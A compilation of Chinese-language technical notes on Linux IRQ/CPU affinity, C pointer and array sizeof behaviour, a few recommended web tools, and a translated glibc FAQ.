| <p><strong>What is an IRQ?</strong>　An IRQ is an interrupt request from a device. Currently they can come in over a pin, or over a packet. Several devices may be connected to the same pin thus sharing an IRQ.　An IRQ number is a kernel identifier used to talk about a hardware interrupt source.  Typically this is an index into the global irq\_desc array, but except for what Linux/interrupt.h implements the details are architecture specific.  An IRQ number is an enumeration of the possible interrupt sources on a machine.  Typically what is enumerated is the number of input pins on all of the interrupt controller in the system.  In the case of ISA what is enumerated are the 16 input pins on the two i8259 interrupt controllers.<br>   Architectures can assign additional meaning to the IRQ numbers, and are encouraged to in the case  where there is any manual configuration of the hardware involved.  The ISA IRQs are a classic example of assigning this kind of additional meaning.</p> |
| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |

Linux Kernel Documentation::IRQ-affinity.txt

\| <p> ChangeLog:<br>        Started by Ingo Molnar <<a href="https://web.archive.org/web/20200306075219/mailto:mingo@redhat.com"><mingo@redhat.com></a>><br>        Update by Max Krasnyansky <<a href="https://web.archive.org/web/20200306075219/https://www.blogger.com/null"><maxk@qualcomm.com>></a><br><br><strong>SMP IRQ affinity</strong><br><br>/proc/irq/IRQ#/smp\_affinity specifies which target CPUs are permitted for a given IRQ source. It's a bitmask of allowed CPUs. It's not allowed to turn off all CPUs, and if an IRQ controller does not support IRQ affinity then the value will not change from the default 0xffffffff.<br>/proc/irq/default\_smp\_affinity specifies default affinity mask that applies to all non-active IRQs. Once IRQ is allocated/activated its affinity bitmask will be set to the default mask. It can then be changed as described above. <br><br><br>Default mask is 0xffffffff.<br><br>Here is an example of restricting IRQ44 (eth1) to CPU0-3 then restricting<br>it to CPU4-7 (this is an 8-CPU SMP box):<br><br><br><strong>(Note: device 對應的 IRQ number 可以從 /proc/interrupt 查詢)</strong><br><br>\[root\@moon 44]# cd /proc/irq/44<br>\[root\@moon 44]# cat smp\_affinity<br>ffffffff<br><br>\[root\@moon 44]# echo 0f > smp\_affinity<br>\[root\@moon 44]# cat smp\_affinity<br>0000000f<br>\[root\@moon 44]# ping -f h<br>PING hell (195.4.7.3): 56 data bytes<br> ...<br><br>--- hell ping statistics ---<br>6029 packets transmitted, 6027 packets received, 0% packet loss<br>round-trip min/avg/max = 0.1/0.1/0.4 ms<br>\[root\@moon 44]# cat /proc/interrupts | grep 'CPU|44:'<br>           CPU0       CPU1       CPU2       CPU3      CPU4       CPU5        CPU6       CPU7<br> 44:       1068       1785       1785       1783         0          0           0         0    IO-APIC-level  eth1<br><br>As can be seen from the line above IRQ44 was delivered only to the first four<br>processors (0-3).<br>Now lets restrict that IRQ to CPU(4-7).<br>\[root\@moon 44]# echo f0 > smp\_affinity<br><br>\[root\@moon 44]# cat smp\_affinity000000f0  (f0 -> 11110000, 啟動 5, 6, 7, 8 bit, mapping CPU4, CPU5, CPU6, CPU7)<br><br>\[root\@moon 44]# ping -f h<br>PING hell (195.4.7.3): 56 data bytes<br> ..<br>--- hell ping statistics ---<br>2779 packets transmitted, 2777 packets received, 0% packet loss<br>round-trip min/avg/max = 0.1/0.5/585.4 ms<br>\[root\@moon 44]# cat /proc/interrupts |  'CPU|44:'           CPU0       CPU1       CPU2       CPU3      CPU4       CPU5        CPU6       CPU7 <br>44:       1068       1785       1785       1783      1784       1069        1070       1069   IO-APIC-level  eth1<br><br>This time around IRQ44 was delivered only to the last four processors.<br>i.e counters for the CPU0-3 did not change.</p> |
\| -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |

Issues:irqbalance 會變動 affinity 的值 (Ref. [http://www.linuxquestions.org/questions/fedora-35/irq-smp\_affinity-439351/](https://web.archive.org/web/20200306075219/http://www.google.com/url?q=http%3A%2F%2Fwww.linuxquestions.org%2Fquestions%2Ffedora-35%2Firq-smp_affinity-439351%2F\&sa=D\&sntz=1\&usg=AFrqEzeyWz8KDbLGj-mPxrKCfkleiWa6Nw))\
\
Reference: \
深度剖析 irqbalance： [http://blog.yufeng.info/archives/2422](https://web.archive.org/web/20200306075219/http://blog.yufeng.info/archives/2422)\
SMP IRQ Affinity：[https://cs.uwaterloo.ca/\~brecht/servers/apic/SMP-affinity.txt](https://web.archive.org/web/20200306075219/https://cs.uwaterloo.ca/~brecht/servers/apic/SMP-affinity.txt)\
\
**API**

getcpu(2)\
sched\_setaffinity(2)\
gettid(2)\
CPU\_SET(3)\
sched\_getcpu(3)\
sched\_setaffinity(2)\
sched\_getaffinity(2)\
sched\_setscheduler(2)\
mbind(2)\
set\_mempolicy(2)\
cpuset(7)\
pthread\_self(3) returns the thread ID of the calling thread. \
setpriority(2)\
getpriority(2)\
\
Reference: glibc-doc\
\
**Multi-Core & multi-queue in Linux Kernel**\
\
2.6.35 以後，Linux kernel 已經能夠支援網路封包接收的 multi-queue & multi-core 的能力，\
\
傳送的部份 (XPS) 預計將放入 Linux Kernel 2.6.37 中。\
\
By Packet ( RPS, Receive Packet Steering) & by Flow ( RFS, Receive Flow Steering)

* RPS (Receive Packet Steering): [http://lwn.net/Articles/361440/](https://web.archive.org/web/20200306075219/http://www.google.com/url?q=http%3A%2F%2Flwn.net%2FArticles%2F361440%2F\&sa=D\&sntz=1\&usg=AFrqEzen3nQq1JReY3h_VTVK_tXbwQb5NA)
* RFS (Receive Flow Steering): [http://lwn.net/Articles/381955/](https://web.archive.org/web/20200306075219/http://www.google.com/url?q=http%3A%2F%2Flwn.net%2FArticles%2F381955%2F\&sa=D\&sntz=1\&usg=AFrqEzcmCLbOzBRpYcYRU9vleoznORhiEA)
* XPS (Transmit Packet Steering): [http://lwn.net/Articles/416646/](https://web.archive.org/web/20200306075219/http://www.google.com/url?q=http%3A%2F%2Flwn.net%2FArticles%2F416646%2F\&sa=D\&sntz=1\&usg=AFrqEzc4wq1bfYmSm0rOKU6mmTronrPu9w)

\
API 可參考 glibc manual：[http://www.gnu.org/software/libc/manual/html\_node/CPU-Affinity.html](https://web.archive.org/web/20200306075219/http://www.gnu.org/software/libc/manual/html_node/CPU-Affinity.html)


# 陣列名稱與指標

定義一個 ptr pointer, point to 1024 個 char size 的記憶體區塊，  \
char \*ptr = malloc( sizeof(char) \* 1024);sizeof(ptr) 所得到的是該指標本身的大小，而 sizeof (\*ptr) 所得到的是，指標指向的記憶體區塊之第一個 item 之型態大小。char array\[1024];sizeof(array) 為 1024 個 char 的大小，\
\
sizeof(\*array) 為一個 char 的大小，因為 \*array 會被 compiler 視為 \*(array+0)，等同於 array\[0]，代表 array 中的第一個 item 的 size，ex. array\[2] = \*(array+2) = \*(2+array) = 2\[array]\
如果要將 array 每個 item 內容設定為 0, 可以 memset(array, 0, sizeof(array));而若要將 pointer 所指向的整塊 memory 都設定為 0，就要自己記錄 memory size:buf\_size\*=sizeof(char);\
char \*ptr = malloc( buf\_size);\
memset(ptr, 0, buf\_size);sizeof 取到 (\*pointer) 是 1 個 element 的 size<br>

```c
#include<stdio.h>
struct co {
  int a; int b;  int c;  int d;  int e;
  int f;  int g;  int h;  int i;  int j;
};

int main(void)
{
  struct co *a=NULL;
  int *b;
  printf("sizeof(struct co): %d\n", sizeof(struct co));
  printf("sizeof(a): %d\n", sizeof(a));
  a = malloc(sizeof(struct co)*2);
  b = malloc(sizeof(int)*2);
  printf("sizeof(*a): %d\n", sizeof(*a));
  printf("sizeof(*b): %d\n", sizeof(*b));
  return 0;
}
```

\
ming\@mp\:/tmp$ gcc test.c -o test\
ming\@mp\:/tmp$ ./test\
sizeof(struct co): 40\
sizeof(a): 4 ( pointer a 的 size)\
sizeof(\*a): 40 ( 1 個 struct co 的 size )\
sizeof(\*b): 4 ( 1 個 int 的 size)


# 網路服務推薦


# 專案管理工具 - clickup

小編嘗試了幾款專案管理的工具

* [Asana](https://asana.com/) 最令人滿意的是 Asana 的 GUI 設計風格與中文字體，可惜 Asana 的付費版本一次至少要付兩個人的費用。
* [Notion](https://notion.so) 是很好用的記事本，Notion 的彈性靈活，要做為專案管理也是可行的，只是需要多花點時間調整適合自己的版面跟欄位。教育的 email (email 網域包含.edu) 就可以免費升級使用 Personal Pro 版本，如果是學生或老師，這是最佳的選擇，我如果在學生時期有這樣的工具，一定會好好善用它的（小編求學時常用的是 google site 或 blogspot ），其實小編也使用 Notion 有兩年多的時間。
* [Airtable](https://www.airtable.com) 是基於資料庫風格的工具，也能做為專案管理、筆記本用途，只是它的每個資料庫有筆數限制。
* [Trello](https://trello.com) 最老牌的專案管理工具。
* [Jira](https://www.atlassian.com/software/jira) 是企業很常使用的專案管理工具，有提供10人免費版本。
* [Clickup](https://clickup.com/?fp_ref=jcb14)，它的功能算是目前最完整的一時之選，功能很多，幾乎市面上同性質的產品功能 Clickup 幾乎都有，Clickup 融合了筆記本、專案管理、雲端硬碟、時間管理、自動化工作流程等多樣化功能，非常便利。

其實每個工具大致上都能符合需求，基本功能都會有的，只是細部使用上的彈性、順手、順眼、與價格差異。總之，Clickup 有很大的企圖心，宣稱目標是想要可以提供一統江湖 (all in one) 的全功能，小編用起來覺得雖然還是有些功能沒有或是還沒做好，但是他們有在努力，考量了性價比 (CP) 與不斷推陳出新的功能，這是選用了 [Clickup](https://clickup.com/?fp_ref=jcb14) 的原因。


# 文件大師 - gitbook

[Gitbook ](https://www.gitbook.com/)是很不錯的文件編寫與發佈的網路服務，重點是使用上是完全免費，滿適合做為公開的技術文件、個人網站、專案文件、書本、共筆或私人筆記等用途。小編翻譯的幾本書也都已經轉移到 gitbook 存放，小編簡單條件幾個我最滿意的功能：

* 文件中關於程式碼的部分，可以依照程式語言自動用彩色顯示，讓人看起來就是乾淨清爽又易讀。
* 文件使用 markdown 的格式，對於日後平台要轉移也不會有太大的負擔，只要是相容於 markdown 的平台都能輕鬆轉移。
* 可以與 github 整合，可以在 github 開個專案進行同步，只要將 gitbook 連動到 github 的帳號，並在 gitbook 打開 github 編輯的功能，也可以直接在 github 編輯文件，然後就會自動同步到 gitbook，所以不用擔心服務續存問題，每個檔案在 github 都有備份，也很容易使用 git 就能從 github 拉到自己的電腦。


# glibc 中文手冊

這個地方是提供 glibc 的中文資訊，進行 glibc manual 正體中文化工程，

會包含一些中譯文件與範例程式，謝謝。


# GNU C 函式庫常見問題（FAQ）

#### 本文試著回答使用者在安裝與使用 glibc 時可能遭遇的問題，請您在發問或回報 bug（程式錯誤）給維護者之前，先確定您已經讀過這份文件。 <a href="#h.fyxd9ygum0rw_l" id="h.fyxd9ygum0rw_l"></a>

GNU C 函式庫很複雜，安裝的過程還沒有完全的自動化；有太多變數，沒有正確的安裝函式庫會對系統造成實質的傷害，在您開始之前先確定您已經了解你能承擔這一切。

**\[編譯 glibc]**

**GNU C 函式庫可以在哪些系統上面運作呢？**

細節請參考 [README](http://www.google.com/url?q=http%3A%2F%2Fsourceware.org%2Fgit%2F%3Fp%3Dglibc.git%3Ba%3Dblob_plain%3Bf%3DREADME%3Bhb%3DHEAD\&sa=D\&sntz=1\&usg=AOvVaw317Od_yIt0XnECP6-bYMp6) 檔案。

GNU C 函式庫能支援使用 Linux kernel 的這些組態（configurations）：

i\[4567]86-\*-linux-gnu

x86\_64-\*-linux-gnu

powerpc-\*-linux-gnu Hardware floating point required

powerpc64-\*-linux-gnu

s390-\*-linux-gnu

s390x-\*-linux-gnu

sh\[34]-\*-linux-gnu Requires Linux 2.6.11 or newer

sparc\*-\*-linux-gnu

sparc64\*-\*-linux-gnu

另外的組態是 ports 目錄的一部分，細節請參考 [README](http://www.google.com/url?q=http%3A%2F%2Fsourceware.org%2Fgit%2F%3Fp%3Dglibc.git%3Ba%3Dblob_plain%3Bf%3DREADME%3Bhb%3DHEAD\&sa=D\&sntz=1\&usg=AOvVaw317Od_yIt0XnECP6-bYMp6)。

**我需要什麼工具來建立 GNU libc 呢？**

您會需要：

GCC, C 與 C++ 編譯器都要［供 testsuite 用途］

GNU binutils

GNU make

Perl

GNU awk

GNU sed

在 Linux 上：Linux kernel header（表頭）檔

修改 glibc 的開發者可能會另外需要：

gperf

GNU autoconf

GNU gettext

GNU texinfo

更多細節請參考使用手冊的 “[Tools for Compilation](http://www.google.com/url?q=http%3A%2F%2Fwww.gnu.org%2Fsoftware%2Flibc%2Fmanual%2Fhtml_node%2FTools-for-Compilation.html\&sa=D\&sntz=1\&usg=AOvVaw2t7C2zg9IuVHIjRTMfcVuG)” 章節，或者閱讀 glibc 原始碼中的 INSTALL 檔案。

**會用到哪些版本的 Linux kernel header 呢？**

Linux kernel 最近的 header 都應該用的到。在編譯 GNU C 函式庫所用到的 header 版本，與使用函式庫所需的 kernel binary（核心執行檔）版本不用一樣。在 kernel 版本比所用的 kernel header 版本還要舊時，GNU C 函式庫是可以正常運作的。反之［用比較舊版的 kernel header 來編譯，並跑較新版的 kernel］則不會如所預期的運作。比如：假設你使用舊版的 kernel header 來編譯 GNU C 函式庫時，你就不能使用新的 kernel 功能。

即使你的系統是使用比較舊的 kernel，我們還是建議你用最新的 kernel header 來編譯 GNU libc。這樣如果你平時想要升級 kernel 版本的話，你就不用重新編譯 libc 了。為了要讓 libc 知道要使用哪一個 header，需要設定 –with-headers 進行切換［例如：–with-headers=/usr/src/linux-3.3/include］。

為了安裝 Linux kernel header，在 kernel source 的樹狀目錄中執行 make header\_install，這在 [kernel 文件](http://www.google.com/url?q=http%3A%2F%2Fgit.kernel.org%2F%3Fp%3Dlinux%2Fkernel%2Fgit%2Ftorvalds%2Flinux.git%3Ba%3Dblob_plain%3Bf%3DDocumentation%2Fmake%2Fheaders_install.txt%3Bhb%3DHEAD\&sa=D\&sntz=1\&usg=AOvVaw2FjDKd_AW4FnP5trwzf6yQ)中會有說明。

**當我在所產生的函式庫上執行 \`nm -u libc.so’ 時，我仍然會有 unresolved symbols（無法解析的符號），這樣正常嗎？**

是的，這是正常的。會有很多種無法解析的符號：

由 linker（連結器）自動產生的 magic symbols（魔術符號）。他們的名稱會類似 \_\_start\_\* 與 \_\_stop\_\*

從 dynamic linker（動態連結器）產生的是以 \_dl\_\* 開頭的符號

weak symbols（弱符號），不需要全部解析（例如 fabs）

一般而言，你要保證你有找到一個真實的程式，它在認定有問題之前就進行 linking（連結）會產生錯誤。

**什麼是所謂的 \`add-ons’（附加元件）？**

為了延伸 glibc，因而有了以不同 packages（套件）發佈的額外 add-ons（附加元件）。目前 nptl、libidn add-ons 是 glibc 的一部分，而 ports add-on 則是另一個 package。

如果要將這些 packages 當作 GNU libc 的一部分來使用的話，只要解開 libc 原始碼目錄中的 tar 檔，並使用 –enable-add-ons 選項來設定組態檔 script。若你只有給 –enable-add-ons 組態，則會試著找出你原始碼目錄中的全部 add-on packages。若你只是想要選擇 add-ons 的子集合時，請用逗號隔開所要啟用的 add-ons 清單：

例如：configure –enable-add-ons=nptl,libidn

Add-ons 可以新增功能［包含全部新的共享函式庫］、覆蓋檔案、對額外的架構提供支援、以及任何相關的事情。現有的 makefiles 處理了多數的工作；只需要重寫一些少數的 stub rules，就能讓全部的事情都能正常運作。

多數的 add-ons 是對特定的 GNU libc 版本緊耦合（tightly coupled），請檢查你用來與 add-ons 一起運作的 GNU libc 版本。

在 glibc 2.2 的 crypt add-on 以及 glibc 2.1 的 localedata add-on 都已經被整合到一般的 glibc distribution 了。crypt 與 localedata 因此不再出 add-ons。還有，linuxthreads 的 add-on 已經過期了，請改用 nptl。

**我的 kernel 幫我模擬了一顆浮點數（floating-point）的 coprocessor，那我還需要啟用 –with-fp 嗎？**

只有某些平台會有相關的問題，如 PowerPC 或 MIPS。GNU libc 的組態必須與你的編譯器所用的 ABI 一致：兩者都要使用同樣的方式設定。

一顆模擬的 FPU 跟真的一樣好，就我所知，C 函式庫與編譯器是會在意的，如果你的機器沒有辦法執行浮點數指令的話，你只需要設定 –without-fp，並依此設定你的編譯器。

喜歡榨乾機器效能的人會想要避免因這麼做而產生的 trap overhead（負荷）。

**為什麼我在使用 librt 時出現了 missing thread functions（找不到執行緒函式）的訊息呢？我根本沒有用 threads。**

這個時候你可能已經搞爛你的系統了，librt 會在內部使用 threads，因而間接隱含的參考到 thread 函式庫。通常這些條件都會自動滿足，不過如果 thread 函式庫不在預期的地方時，你就必須要跟 linker 說 thread 函式庫在哪裡，使用 GNU ld 執行的樣子會類似這樣：

gcc -o foo foo.c -Wl,-rpath-link=/some/other/dir -lrt

/some/other/dir 應該要包含 thread 函式庫，在沒有任何其它的 link 路徑時，ld 會使用所給的路徑（path）去找出隱含參考的函式庫。

**我在 \`make check’ 的過程失敗了，我應該怎麼辦呢？**

testsuite 應該要在你的系統上乾淨地編譯與執行；每次的執行失敗都應該要找出來。如果測試失敗了，你或許一點都不該安裝這個函式庫。

你應該要在 [bugzilla](http://www.google.com/url?q=http%3A%2F%2Fsourceware.org%2Fbugzilla%2F\&sa=D\&sntz=1\&usg=AOvVaw0V90GbUO2E207mmNQXG24h) 中提出研究報告，並盡可能提供詳細的資料。若你要直接進行一個測試，請記得正確地設定環境。如果你想要測試已編譯好的函式庫，而不是你安裝的函式庫，最好的方式是準確複製失敗的命令列指令，並從原始碼中的子目錄執行測試。

有一些沒有與 GNU libc 直接相關的失敗原因：

有些編譯器會產出 buggy（充滿 bugs）的程式碼，在 Alpha 平台上，沒有編譯器能正確得到單精度的複數。然而，gcc-3.2 應該沒問題。

kernel 可能會有 bugs，比如 tst-cpuclock2 test 需要修正為 Linux 3.1（[patch](http://www.google.com/url?q=http%3A%2F%2Fsourceware.org%2Fml%2Flibc-alpha%2F2012-02%2Fmsg00468.html\&sa=D\&sntz=1\&usg=AOvVaw1pToQsvejlZWgeyT_rTOc2)）。

**什麼是 symbol versioning（符號版本）的好處呢？我會需要它嗎？**

Symbol versioning（符號版本）解決的問題是與 interface（介面）的改變有關。一個 interface 的某個版本可以在先前的 GNU C 函式庫版本中引導，但是 interface 或函式的 semantics（語意） 在這期間已經改變了。為了二進位檔案能與舊版相容，新版的函式庫仍然需要幫舊版程式保留原本的 interface。另一方面，新版程式應該使用新的 interface。Symbol versioning 解決了這個問題，GNU libc 預設使用 symbol versioning，除非透過 configure switch（組態切換）將它關閉。

我們奉勸大家要使用 symbol versioning，不然你會發生二進位檔案的不相容－會永遠不相容！你不僅會與之前 GNU libc 版本的二進位檔案不相容，也會與之後全部的版本不相容。這表示你不能執行別人編譯的程式。

**我該如何在我的快速 ix86 電腦上編譯一個 libc 給較慢的 ix86 電腦使用呢? 在安裝 libc 以後，程式會出現 “Illegal Instruction”（不合法的指令）訊息並結束。**

glibc 與 gcc 會在你的電腦上產生一些舊電腦沒有的指令，你需要告訴 glibc 你正在設定的電腦類型，比如你想要設定給 i586 的電腦時，新增 i586。例如：

../configure –prefix=/usr i586-pc-linux-gnu

而且如果你要告訴 gcc 只產生 i586 的程式，只能增加 \`-mcpu=i586′ 到你的 CFLAGS 中（只用 -m586 沒有效果）。

要注意的是，i486 是最舊的支援架構，因為 nptl 需要 atomic（原子）指令，而這些指令是從 i486 開始支援。

**當第一次執行 rpcgen 時，\`make’ 失敗，是發生什麼事呢？我該怎麼修正呢？**

第一次呼叫 rpcgen，即第一次使用最近編譯的 dynamic loader（動態載入器）。若 dynamic loader 有任何問題，比較像是執行 rpcgen 失敗，這裡有許多問題。

唯一的真實解法就是對 loader 進行除錯，並由你自行定義問題。請記得，對於每個架構而言，需要各種 patches（補丁）讓 glibc HEAD 能轉為可執行狀態，最好的行動方針就是定義你是否具有全部所需的 patches。

**為什麼我試著用 GNU CC 編譯 GNU libc 時會得到錯誤訊息：\`#error “glibc cannot be compiled without optimization”‘（＃錯誤 glibc 不能在沒有最佳化之下編譯）？**

有幾個理由可以說明為什麼 GNU C 函式庫在非最佳化編譯之下，無法正確地工作。

在 dynamic loader (\_dl\_start) 啟動初期時，還沒有進行 PLT relocation（重新定位）以前，你不能進行函式呼叫，你必須 inline 你在初期啟動期間會用到的函式，或者呼叫 ［compiler builtins（編譯器內建）］（\_\_builtin\_\*）。

沒有啟用最佳化的 GNU CC 將不能 inline 函式，dynamic loader 在啟動初期時會透過 unrelocated（尚未重新定位的）PLT 與 crash 進行函式呼叫。

很難在未經查核 dynamic linker 程式碼的情況移除這項需求。

其它的理由是因為，在許多案例中的巢狀函式必須 inline，以避免 executable stacks。

在實務上，在編譯時沒有理由不做最佳化，因此，我們要求 GNU libc 在編譯時都要啟用最佳化。

**安裝與設定議題**

**我該如何設定 GNU libc，讓必須的函式庫，如 libc.so 可以放在 /lib，而其它的放到 /usr/lib 呢？**

如同其它全部的 GNU packages，GNU libc 的設計就是使用基底目錄（base directory），並將全部的檔案都安裝到這裡。預設是 /usr/local，因為這樣是安全的（如果安裝在那裡，它不會危及系統）。若你想要安裝 GNU libc 做為系統上的主要 C 函式庫，只要將基底目錄設定為 /usr（如：執行 configure –prefix=/usr ）。

有些系統，像 Linux 有一個檔案系統標準，它在基本的函式庫與其它函式庫間會產生差異。基本的函式庫放置於 /lib，因為這個目錄是要用來在如 / 的同一個磁碟分割區上定位。/usr 子樹可以在其它的分割區/磁碟上找到。若你在 Linux 設定了 –prefix=/usr，那麼就會自動進行。

想要在非 Linux 的系統上將 GNU libc 基本函式庫安裝在系統上的 /lib 時，必須要明確的要求。這裡的 Autoconf 沒有參數，所以你必須使用 configparam’ 檔案（細節請參考 INSTALL’ 檔案）。它包含了：

slibdir=/lib

sysconfdir=/etc

第一行指定基本函式庫的目錄，而第二行指定系統組態檔的目錄。

**我需要使用 GNU CC 來編譯用到 GNU C 函式庫的程式嗎？**

理論上不用，linker 不會管它，但是在使用 GNU CC 的 C 語言擴充之前，要檢查 GNU CC 所需的 header。

然而，目前 glibc 並沒有對預設使用其它編譯器的系統提供移植，所以沒有人能用其它編譯器測試 headers，因此你會遇到困難，如果你遇到困難了，請以 bugs 的方式回報。

還有，在一些地方，GNU 擴充在程式碼的品質上提供了極大的好處，例如：函式庫已經人工最佳化，對某些字串函式的組合語言版本做了 inline，這些都只有 GCC 可以用。

**我透過查詢共用的 libc 檔案，沒有找到這些函式：\`stat’、\`lstat’、\`fstat’、以及 \`mknod’，且在我的 Linux 系統 linking 時有錯誤訊息。要怎麼樣才能正常運作呢？**

<br>

你信不信，stat 與 lstat（以及 fstat 跟 mknod）在 libc.so.6 中都能預期是 undefined references（未定義的參考）！你的問題或許是因為 /usr/lib/libc.so 遺失或不正確；要注意的是，現在這是一個小的文字檔，而不是 libc.so.6 的 symlink（符號連結）。它看起來像這樣：

GROUP ( libc.so.6 libc\_nonshared.a )

**使用 libc 的程式會有翻譯過的訊息，但是其它的行為就沒有本土化（localized）［如：collating order（核對順序）］；這是為什麼呢？**

會自動安裝已翻譯的訊息，但是控制其它行為的 locale database（本土化資料庫）則不會翻譯，在你執行\`make install’以後，你需要執行 localedef 來安裝這個資料庫。例如：設定French Canadian locale（法裔加拿大本土化）只要簡單的執行這個指令：

localedef -i fr\_CA -f ISO-8859-1 fr\_CA

細節請參考程式碼目錄中的 localedata/README。

**我要怎麼幫 NSS 建立資料庫呢？**

若你在 /etc/nsswitch.conf 裡有一筆 “db” 的資料，你應該也要建立資料庫檔案，glibc 原始碼包含一個 Makefile，可以處理所需的轉換與呼叫以建立那些檔案，檔案位在 nss 子目錄中的 db-Makefile，而你能用 \`make -f db-Makefile’ 來呼叫它。請注意，不是全部的服務都能使用資料庫。

**我無法接受連靜態連結的程式都需要用到一些共享函式庫。我能做什麼呢？**

NSS（關於細節只需輸入\`info libc “Name Service Switch”‘）沒有共享函式庫就無法正常運作，NSS 可以只改變一個組態檔就能使用不同服務（如：NIS、檔案、db、hesiod），而不用重新連結任何程式。但是唯一的缺點是目前的靜態函式庫會需要存取共享函式庫，這個會由 GNU C 函式庫透明化處理。

一個解決方案是以 –enable-static-nss 設定 glibc，在這個例子中，你可以建立一個靜態的執行檔，只能用 dns 與檔案服務（這麼做需修改 /etc/nsswitch.conf），你需要對全部的服務進行明確地連結。例如：

gcc -static test-netdb.c -o test-netdb \\

-Wl,--start-group -lc -lnss\_files -lnss\_dns -lresolv -Wl,--end-group

這個方法的問題在於，你必須使用全部的那些函式來連結每個使用 NSS routines（常式）的靜態程式。

事實上，不要再說用這個選項所編譯的 libc 是使用 NSS 了，不會再有任何的 switch（切換）。因此，強烈建議不要使用 –enable-static-nss，因為這會讓程式在系統中的行為不一致。

**我需要開啟很多檔案，我必須做什麼事呢？**

首先，這是個 kernel 議題，kernel 在 OPEN\_MAX 定義同時開啟檔案的數目，並用 FD\_SETSIZE 定義使用的 file descriptors（檔案描述子）數目。你需要改變 kernel 中的這些值，並重新編譯 kernel，如此一來 kernel 才會允許開啟更多檔案。你不用重新編譯 GNU C 函式庫，因為在函式庫本身中，唯一真正需要 OPEN\_MAX 與 FD\_SETSIZE 的地方是 fd\_set 的大小，這個只有 select 會用到。

GNU C 函式庫現在是 select free（免用 select）的，這表示它的內部不會受限於 fd\_set 型別，將每個需要這個功能的地方改用 poll 函式。

若你在 kernel 中增加 file descriptors 的數目，你就不需要重新編譯 C 函式庫。

你可以在任何時候取得一個 process 允許開啟的 file descriptors 最大數量，使用：

number = sysconf (\_SC\_OPEN\_MAX);

即使 kernel 的限制改變了，這個方法也能正常運作。

**為什麼從不將 glibc 安裝在 GNU/Linux 系統的 /usr/local 資料夾中呢？**

GNU C 編譯器用特殊的方式來看待目錄 /usr/local/include 與 /usr/local/lib，會在系統目錄之前先搜尋這些目錄，因為在 GNU/Linux，系統目錄 /usr/include 與 /usr/lib 包含一個 — 可能不一樣的 — glibc 版本，且混合了其它不受支援及將中止的 glibc 版本某些檔案，這將帶來損壞你整個系統的風險。若你想要測試所安裝的 glibc，以 –prefix 並使用其它的目錄做為參數；若你想要將這個 glibc 版本安裝為預設的版本，使用 –prefix=/usr 覆蓋掉現有的檔案，而全部的東西都會安裝到對的地方。

**原始碼與二進位檔案不相容**

**\`connect’, \`accept’, \`getsockopt’, \`setsockopt’, \`getsockname’, \`getpeername’, \`send’, \`sendto’, and \`recvfrom’ 的原型在 GNU libc 與我在其它系統所見到的不一樣。這是 bug，不是嗎？**

不是的，這不是 bug。GNU libc 已遵循 Single Unix 規格（而我認為 POSIX.1g 草案採用了這個解決方案），描述大小的參數型別是 socklen\_t。

**為什麼不再呼叫訊號中斷系統（signals interrupt system）呢？**

GNU libc 在 signal() 預設是使用 BSD semantics，不像 Linux libc 5，它使用 System V semantics。這一部分相容於其它的系統，而另一部分是由於 BSD semantics 有助於讓 signal 程式設計比較簡單。

有三個差異之處：

在系統呼叫中發生的 BSD 風格 signal 不會影響到系統呼叫；而 System V signals 會讓系統呼叫失敗，並將 errno 設定為 EINTR。BSD signal handlers（訊號處理常式）在觸發之後依然還裝載著，而 System V signal handlers 確只會執行一次，所以每次執行過後都必須要重新安裝。BSD signal 在執行本身的 handler 期間會發生 block，換句話說，不用擔心其它的 SIGCHLD 會中斷 SIGCHLD 的 handler［舉例］，然而，這樣會被其它的 signals 中斷。在使用 signals 進行完好程式設計（casual programming）的一般共識是傾向 BSD semantics 的。你不用擔心系統呼叫會傳回 EINTR，而且也不用擔心與一次性 signal handlers 有關的 race conditions （競速狀況）。

若你正在移植使用舊 semantics 的程式，你可以將全部的 signal() 改變為 sysv\_signal()，以快速修正問題。此外，在引用 \<signal.h> 之前要先定義 \_XOPEN\_SOURCE。

對於新版的程式，sigaction() 函式可以讓你精確地指定要讓 signals 如何運作。上面所述的三個差異點，可以使用這個函式以基於個別 signal 分別獨立切換。

若你只是需要一個特定 signal，可以讓系統呼叫失敗並傳回 EINTR［例如：實作一個 timeout］，那麼你可以用 siginterrupt() 來做。

**我在編譯使用特定字串函式的程式時收到錯誤，為什麼？**

glibc 有特殊的字串函式，可以比一般的函式庫函式還快。部分函式另外以 inline 函式實作，而有些用 macros（巨集）實作，這樣可能會導致現有的程式碼出問題，但是這是由 ISO C 明確許可的。

最佳化過的字串函式只有用在以最佳化編譯時（-O1 或更高），行為能用兩個 feature macros（功能巨集）來改變：

\_\_NO\_STRING\_INLINES：不要進行任何的字串最佳化。

\_\_USE\_STRING\_INLINES：使用組合語言 inline 函式（可能會明顯地增加程式碼的大小）。

因為這些字串函式有一些現在已經另外定義為 macros，類似 “char \*strncpy();” 的程式碼不再能正常運作（而且不需要，因為 \<string.h> 有所需的宣告），只能選擇改變你的程式碼或定義 \_\_NO\_STRING\_INLINES。

在這裡的另一個問題是 gcc 在 registers（暫存器）很少的機器上（如：ix86）仍然會有一些問題，inline 組譯碼幾乎會用到全部的 registers，且 register allocator（暫存器配置者）不能一直處理這種情況。

一種方法是選擇性的關閉字串最佳化，或者是改寫成：

cp = strcpy (foo, "lkj");

一種寫法是：

cp = (strcpy) (foo, "lkj");

這會關閉特定呼叫的最佳化。

